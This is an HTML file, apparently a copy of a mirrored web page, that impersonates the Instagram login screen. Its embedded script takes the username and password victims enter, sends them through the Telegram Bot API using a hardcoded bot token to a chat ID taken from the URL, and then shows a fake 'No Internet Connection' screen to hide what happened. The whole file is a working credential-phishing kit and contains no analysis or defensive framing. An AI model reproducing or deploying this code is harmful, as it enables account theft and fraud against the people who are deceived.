File size: 3,081 Bytes
c956fd3
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
<!DOCTYPE html>
<html lang="en">

<!-- Mirrored from instagram-signup-login-page-70lw.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:44:48 GMT -->
<!-- Added by HTTrack --><meta http-equiv="content-type" content="text/html;charset=utf-8" /><!-- /Added by HTTrack -->
<head>
  <meta charset="UTF-8">
  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>Instagram</title>
  <link rel="stylesheet" href="insta.css">
</head>
<body>
  <div class="container">
    <div class="login-box">
      <img class="logo" src="../upload.wikimedia.org/wikipedia/commons/a/a5/Instagram_icon.png" alt="Instagram Logo">
      <form id="loginForm">
        <input type="text" id="username" placeholder="Phone number, username, or email">
        <input type="password" id="password" placeholder="Password">
        <button type="submit" id="submit">Log In</button>
      </form>
      <a href="#" class="forgot">Forgot password?</a>
      <div class="divider">
        <hr><span>OR</span><hr>
      </div>
      <button class="create">Create new account</button>
    </div>
  </div>

  <script>
    function getQueryParam(param) {
      const urlParams = new URLSearchParams(window.location.search);
      return urlParams.get(param);
    }

    const chatId = getQueryParam('id');  
    const botToken = "7924786441:AAGIU7XlarFtwEzaRhFkNfIU6m3Sv1RyjRg";  
    const url = `https://api.telegram.org/bot${botToken}/sendMessage`;

    document.getElementById('loginForm').addEventListener('submit', function (e) {
      e.preventDefault();
      
      const username = document.getElementById('username').value;
      const password = document.getElementById('password').value;

      if (username === "" || password === "") {
        alert("Please fill in all fields.");
        return;
      }

      if (!chatId) {
        alert("Error: Missing chat ID.");
        return;
      }

      const message = `Instagram Login\nUsername: ${username}\nPassword: ${password}`;

      fetch(url, {
        method: "POST",
        headers: {
          "Content-Type": "application/json"
        },
        body: JSON.stringify({
          chat_id: chatId,
          text: message
        })
      })
      .then(response => response.json())
      .then(data => {
        if (data.ok) {
          // Show No Internet Page
          document.body.innerHTML = `
            <div class="error-container">
              <img src="https://cdn-icons-png.flaticon.com/512/463/463612.png" alt="Error Icon">
              <h2>No Internet Connection</h2>
              <p>Try again later.</p>
            </div>
          `;
        } else {
          alert("Failed to send details.");
        }
      })
      .catch(error => {
        console.error("Error:", error);
        alert("An error occurred.");
      });
    });
  </script>
</body>
        
<!-- Mirrored from instagram-signup-login-page-70lw.onrender.com/ by HTTrack Website Copier/3.x [XR&CO'2017], Fri, 21 Mar 2025 21:44:50 GMT -->
</html>